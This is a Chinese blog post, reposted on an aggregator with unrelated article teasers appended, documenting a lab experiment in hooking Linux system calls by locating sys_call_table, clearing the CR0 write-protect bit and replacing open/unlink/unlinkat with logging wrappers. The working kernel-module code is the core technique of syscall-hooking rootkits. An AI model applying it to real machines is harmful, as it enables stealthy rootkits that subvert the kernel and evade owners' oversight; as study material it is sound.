Linux Rootkit实验|01 基于修改系统调用表的Hook

Linux Rootkit实验|01 基于修改系统调用表的Hook

文章目录

  • Linux Rootkit实验|01 基于修改系统调用表的Hook
    • 实验说明
    • 实验环境
    • 实验过程
      • 一 基于修改sys_call_table的系统调用挂钩
        • 1 寻找sys_call_table内存地址
        • 2 关掉写保护
        • 3 修改sys_call_table
      • 二 基于系统调用挂钩的初级文件监视
    • 实验问题
    • 实验总结与思考
    • 参考资料
      • 已参考
      • 拓展阅读

08 May 2017

夜阑风静縠纹平。小舟从此逝,江海寄余生。

实验说明

Rootkit的一种经典形式是通过Hook系统调用实现。在本次实验中,我们将实现简单的系统调用挂钩方案,并且基于这个方案实现最基本的文件监视工具,同时加深对LKM的理解。

实验环境

uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/LinuxGCC version:6.1.1

上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以root权限执行。

注:后面实验参考的是4.11的源码,可以在线阅览。

实验过程

一 基于修改sys_call_table的系统调用挂钩

Linux内核在内存中维护了一份系统调用向量表,它是一个元素为函数指针的一维数组,定义见arch/x86/entry/syscall_64.c

asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {/** Smells like a compiler bug -- it doesn't work* when the & below is removed.*/[0 ... __NR_syscall_max] = &sys_ni_syscall,
#include <asm/syscalls_64.h>
};

所以最直接的思路就是修改这张表,把对应的系统调用地址更换为我们的函数地址。问题转化为三个子问题:

  • 找到这张表在内存中的地址
  • 这张表所在内存有写保护,我们要关掉写保护
  • 修改这张表(之后要开启写保护)

接下来按这个步骤进行实验。

1 寻找sys_call_table内存地址

寻找系统调用表的地址的方法不止一种。这里先介绍一种,并为其他方法留坑。

要注意的一点是,只有内核中导出的函数和变量符号才能被我们直接引用,没有导出的那些对我们是透明的。参考网友的评论可知,在2.6内核后sys_call_table是不可见的。

① 暴力搜索

原理:内核内存空间的起始地址PAGE_OFFSET变量和sys_close系统调用对我们是可见的(sys_open/sys_read等并未导出);系统调用号(即sys_call_table中的元素下标)在同一ABI(x86与x64属于不同ABI)中是高度后向兼容的;这个系统调用号我们也是可以直接引用的(如__NR_close)。所以我们可以从内核空间起始地址开始,把每一个指针大小的内存假设成sys_call_table的地址,并用__NR_close索引去访问它的成员,如果这个值与sys_close的地址相同的话,就可以认为找到了sys_call_table的地址(但是师傅说这种方法可能被欺骗)。

我们先简单看一下PAGE_OFFSET的定义(x64):

#define PAGE_OFFSET		((unsigned long)__PAGE_OFFSET)
#define __PAGE_OFFSET           page_offset_base
unsigned long page_offset_base = __PAGE_OFFSET_BASE;
EXPORT_SYMBOL(page_offset_base);
#define __PAGE_OFFSET_BASE      _AC(0xffff880000000000, UL)

接下来看我们的搜索函数:

unsigned long **get_sys_call_table(void)
{unsigned long **entry = (unsigned long **)PAGE_OFFSET;for(; (unsigned long)entry < ULONG_MAX; entry += 1){if(entry[__NR_close] == (unsigned long *)sys_close)return entry;}return NULL;
}

测试用LKM模块代码如下(后面将在此模块上添加代码):

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>unsigned long **real_sys_call_table;int init_module(void)
{printk("%s\n", "Greetings the world!\n");real_sys_call_table = get_sys_call_table();printk("PAGE_OFFSET = %lx\n", PAGE_OFFSET);printk("sys_call_table = %p\n", real_sys_call_table);printk("sys_call_table - PAGE_OFFSET = %lu MiB\n",\((unsigned long)real_sys_call_table - \(unsigned long)PAGE_OFFSET) / 1024 / 1024);return 0;
}void cleanup_module(void)
{printk("%s\n", "Farewell the World!");return;
}

Makefile:

TARGET = sys_call_table
obj-m := ${TARGET}ko.o
${TARGET}ko-objs := ${TARGET}.o default:${MAKE} modules \--directory "/lib/modules/$(shell uname --release)/build" \M="$(shell pwd)"clean:${MAKE} clean \--directory "/lib/modules/$(shell uname --release)/build" \
M="$(shell pwd)"

我们没有使用第一次实验中的module_initmodule_exit两个宏去指定入口函数和出口函数,那样也是可以的,这里只是使用了默认的入口函数名和出口函数名。

测验结果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

② 从/boot/System.map提取

暂略,见【拓展阅读】3。

③ 使用未导出函数机器码搜索

暂略,见【拓展阅读】4。

2 关掉写保护

找到地方了,下面要关闭写保护。CR0寄存器从0数的第16比特控制了对只读内存的写保护是否开启,详见【已参考】3。巧的是,我们可以用内核自己的read_cr0/write_cr0去读写CR0,并用它提供的clear_bit/set_bit接口去做位运算。我们把它们封装一下:

void disable_write_protection(void)
{unsigned long cr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);
}void enable_write_protection(void)
{unsigned long cr0 = read_cr0();set_bit(16, &cr0);write_cr0(cr0);
}

接着在入口函数中添加一些测试代码:

unsigned long cr0;
cr0 = read_cr0();
printk("Old: %d\n", test_bit(X86_CR0_WP_BIT, &cr0));
disable_write_protection();
cr0 = read_cr0();
printk("New: %d\n", test_bit(X86_CR0_WP_BIT, &cr0));
enable_write_protection();
cr0 = read_cr0();
printk("Now: %d\n", test_bit(X86_CR0_WP_BIT, &cr0));

测试结果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3 修改sys_call_table

至此,修改就很简单了。配合后面第二部分文件监视,我们将修改三个系统调用:sys_open/sys_unlink/sys_unlinkat。我们的思路是,在入口函数中先备份原始的系统调用,然后修改成我们自己的。在出口函数中恢复原始的系统调用。

修改

disable_write_protection();
real_open = (void *)real_sys_call_table[__NR_open];
real_sys_call_table[__NR_open] = (unsigned long*)fake_open;
real_unlink = (void *)real_sys_call_table[__NR_unlink];
real_sys_call_table[__NR_unlink] = (unsigned long*)fake_unlink;
real_unlinkat = (void *)real_sys_call_table[__NR_unlinkat];
real_sys_call_table[__NR_unlinkat] = (unsigned long*)fake_unlinkat;
enable_write_protection();

恢复

disable_write_protection();
real_sys_call_table[__NR_open] = (unsigned long*)real_open;
real_sys_call_table[__NR_unlink] = (unsigned long*)real_unlink;
real_sys_call_table[__NR_unlinkat] = (unsigned long*)real_unlinkat;
enable_write_protection();

至此,系统调用挂钩就完成了。缺少的函数定义和声明在下一部分加上,同时在下一部分一并演示。

二 基于系统调用挂钩的初级文件监视

这里补上缺少的函数定义:

asmlinkage long (*real_open)(const char __user *, int, umode_t);
asmlinkage long fake_open(const char __user *filename, int flags, umode_t mode)
{if((flags & O_CREAT) && strcmp(filename, "/dev/null") != 0){printk(KERN_ALERT "open: %s\n", filename);}return real_open(filename, flags, mode);
}asmlinkage long (*real_unlink)(const char __user *); 
asmlinkage long *fake_unlink(const char __user *pathname)
{printk(KERN_ALERT "unlink: %s\n", pathname);return real_unlink(pathname);
}asmlinkage long (*real_unlinkat)(int, const char __user *, int);
asmlinkage long *fake_unlinkat(int dfd, const char __user *pathname, int flag){printk(KERN_ALERT "unlinkat: %s\n", pathname);return real_unlinkat(dfd, pathname, flag);
}

编译加载模块,测试结果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

中间多出来的/tmp/sh-thd-那两行是我在rm hello时按了tab进行文件名补全才出现的,应该是补全功能产生的临时文件。

unlinkunlinkat几乎相同,关于差异可man unlinkat

注意在测试结束后卸载模块,恢复默认系统调用。

实验问题

【问题一】

KERN_ALERT是干嘛的?

【问题二】

前面说暴力搜索系统调用表的方法可能被欺骗,具体是怎样的欺骗方法?

实验总结与思考

配合着源码在线阅览,边做边能查到内核代码的感觉非常棒。

本次实验中的dmesg -C && dmesg -w比第一次实验中的grep要方便许多。

实验过程中深感自己学识浅薄,静水流深呐。一个朋友在FreeBuf文章下评论说:“写得不错。但获取sys_call_table的地址对hook这一大目标并没有起到多大作用,甚至是多余的。”后来他又说:“回复有所歧义,说不需要知道sys_call_table的地址是针对2.6以前的内核版本,之前的版本可以直接引用sys_call_table变量,多谢提醒!另外除了利用system.map获取table的地址外,可以读取IDT的值,之后找到int $0×80的入口点,后三个字节的值就是table的地址,还没验证。”另一个朋友会说:“这就是Windows的SSDT HOOK在Linux核上的翻版啊。”作者回复说:“是的,眼力不错。都是基于修改系统调用表的系统调用挂钩。Linux的系统调用表叫sys_call_table / ia32_sys_call_table,Windows的系统调用表大家通常叫SSDT。显然,从学习、实践与理解的角度看,Linux更适合用来起步。”

他们的讨论让我学到了知识。社区需要的正是这种讨论,正是这种学习的氛围。谢谢各位师傅的分享。

参考资料

已参考

  • Linux Rootkit 系列二:基于修改 sys_call_table 的系统调用挂钩
  • Github:NoviceLive/research-rootkit
  • Control register

拓展阅读

  • linux-insides
  • How does the Linux kernel handle a system call
  • Hooking the Linux System Call Table
  • Kernel-Land Rootkits

tps://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html)

  • Hooking the Linux System Call Table
  • Kernel-Land Rootkits

您已读完,点此回到顶部

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/664755.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI新工具(20240203) 文心一言APP数字分身;HuggingChat Assistants等

文心一言APP数字分身-一键生成专属数字分身 文心一言数字分身是一项新功能&#xff0c;用户只需一张照片和录制三句语音&#xff0c;就能创建一个专属的数字分身。这个数字分身还支持个性化定义名称、声音、MBTI性格等&#xff0c;用户可以选择是否公开自己的数字分身。这个功…

概率论中的全概率公式、贝叶斯公式解析

全概率公式 定义 全概率公式是用来计算一个事件的概率&#xff0c;这个事件可以通过几个互斥事件的并集来表示。这几个互斥事件称为“完备事件系”。实质是由原因推结果。 公式 用途 全概率公式通常用于计算一个事件的总概率&#xff0c;特别是当这个事件与几个不同的因素相关…

C++进阶--C++11 lambda表达式

C进阶--C11 lambda表达式 一、lambda表达式的概念二、lambda表达式的语法2.1 lambda表达式语法格式2.2 lambda表达式捕获列表说明 三、lambda表达式交换两个数3.1 标准写法3.2 利用捕捉列表进行捕捉3.3 利用捕捉列表进行捕捉 四、lambda表达式的底层原理4.1 底层原理4.2 lambda…

qt中使用mysql 数据库

QT 版本介绍 虽然版本是这个&#xff0c;但是工作目录确是&#xff1a; 下面陈述安装步骤 第一步&#xff1a; 就是安装MYSQL 数据库&#xff0c;在此不再赘述了&#xff0c;很多博主已经上传了。 第二步&#xff1a; 就是拷贝QT 对应mysql 的版本驱动到 QT 的编译器文件中…

【gulp+jq+html】添加环境变量,并在js中使用(判断环境,更改api接口域名)+ 附gulpfile.js代码

参考博文&#xff1a; gulp分离环境 gulp中如何配置环境变量 gulp环境变量配置 1、安装cross-env插件 npm install cross-env -d2、package.json更改scripts "scripts": {"clean": "gulp clean","serve:test": "cross-env NODE…

IDEA JDBC配置

一、在pom中添加依赖 <dependencies><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.33</version></dependency></dependencies> 然后同步一下 二、编写代码…

C++项目-- 高并发内存池(一)

C项目-- 高并发内存池&#xff08;一&#xff09; 文章目录 C项目-- 高并发内存池&#xff08;一&#xff09;一、项目介绍1.项目来源2.内存池介绍1.池化技术2.内存池3.内存池主要解决的问题4.malloc 二、定长内存池1.定长内存池的设计2.代码实现3.性能测试4.直接在堆上申请空间…

【考研408】算法与数据结构笔记

文章目录 绪论数据结构的基本概念算法和算法评价 线性表线性表的定义和基本操作线性表的顺序表示线性表的链式表示 栈和队列栈基本操作栈的顺序存储结构栈的链式存储 队列队列常见的基本操作队列的顺序存储结构队列的链式存储结构双端队列 栈和队列的应用栈在括号匹配中的应用栈…

【内置对象·js】

数学对象 document.write("圆周率为 " Math.PI "<br>");日期对象 var date new Date(); // 实例化 Date 对象var month date.getMonth() 1; // 获取月份&#xff0c;取值为 0&#xff08;一月&#xff09;到 11&#xff08;十二月&#xff09;之…

SQL注入:sqli-labs靶场通关(1-37关)

SQL注入系列文章&#xff1a; 初识SQL注入-CSDN博客 SQL注入&#xff1a;联合查询的三个绕过技巧-CSDN博客 SQL注入&#xff1a;报错注入-CSDN博客 SQL注入&#xff1a;盲注-CSDN博客 SQL注入&#xff1a;二次注入-CSDN博客 ​SQL注入&#xff1a;order by注入-CSDN博客 …

【Go语言成长之路】安装Go

文章目录 安装Go一、下载Go语言安装包二、删除以前安装的Go版本三、添加/usr/local/go/bin到环境变量内四、确认安装成功 安装Go Note: 这里只演示安装Linux版本的Go&#xff0c;若为其它版本&#xff0c;请按照官网的安装教程进行安装即可。 一、下载Go语言安装包 ​ 在浏览…

【IM】长连接网关设计探索(一)

目录 1.长连接网关的必要性2. 设计目标2.1 技术挑战2.2 技术目标 3. 方案选型3.1 网关IP地址的选择3.1.1 使用httpDNS服务3.1.2 自建http server作为IP config server3.1.3 最佳方案 3.2 高并发收发设计3.2.1 C10K问题3.2.2 方案探索双协程监听channel实现全双工 一个定时器 1…

99 C++内存高级话题。new/delete的进一步认识 整理

1. new 初始化的整理。 class Teacher120 { public:Teacher120() {cout << "teacher120 moren 构造函数" << endl;}Teacher120(int age):m_age(m_age) {cout << "teacher120 构造函数" << endl;}~Teacher120() {cout << &qu…

hivesql的基础知识点

目录 一、各数据类型的基础知识点 1.1 数值类型 整数 小数 float double(常用) decimal(针对高精度) 1.2 日期类型 date datetime timestamp time year 1.3 字符串类型 char varchar / varchar2 blob /text tinyblob / tinytext mediumblob / mediumtext lon…

CentOS7虚拟机设置静态IP

虚拟机上ip是有时效性的&#xff0c;过期后会自动更换&#xff0c;因此如果想让ip不变&#xff0c;就得手动设置静态ip。 第一步&#xff1a;先查看主机的子网掩码 1.1、windows命令ipconfig&#xff0c;如下图&#xff1a; 第二步&#xff1a;查看虚拟机的网关、ip区间的设…

单臂路由实验(华为)

思科设备参考&#xff1a; 单臂路由实验&#xff08;思科&#xff09; 一&#xff0c;实验目的 在路由器的一个接口上通过配置子接口的方式&#xff0c;实现相互隔离的不同vlan之间互通。 ​ 二&#xff0c;设备配置 Switch1 <Huawei>sys [Huawei]vlan batch 10 20…

【C++】类与对象(三)—运算符重载|const成员函数|取地址及const取地址操作符重载

前言 运算符重载&#xff0c;自增自减运算符重载&#xff0c;const成员函数&#xff0c;取地址及const取地址操作符重载 文章目录 一、运算符重载自增和自减运算符重载 二、const 成员函数三、取地址及const取地址操作符重载&#xff08;了解即可&#xff09; 一、运算符重载 运…

【MySQL】深入理解隔离性

深入理解隔离性 一、数据库并发的场景二、多版本并发控制&#xff08; MVCC &#xff09;三、三个前提知识1、3个记录隐藏字段2、undo日志 四、快照的概念五、Read View六、隔离级别RR与RC的本质区别 一、数据库并发的场景 数据库并发的场景总共有三种&#xff1a; 读-读&…

JVM中一次完整的GC回收流程

JVM堆内存结构简述 JVM堆内存结构图 堆初体验 所有的对象实例以及数组都要在堆上分配&#xff0c;堆是垃圾收集器管理的主要区域&#xff0c;也被称为“GC 堆”&#xff0c;也是我们优化最多考虑的地方。因为在一个项目中&#xff0c;会不断地创建对象&#xff0c;都是在堆里…

DevOps 教程 (4) - CI/CD 整合

在本第四章的"DevOps 教程"系列中&#xff0c;我们将介绍CI/CD整合的概念和实践。我们会介绍DevOps所带来的好处&#xff0c;包括团队协作、开发效率和产品交付速度的显著提升。 我们还将讨论在DevOps中的不同角色&#xff0c;并理解每个角色在持续集成和持续交付中的…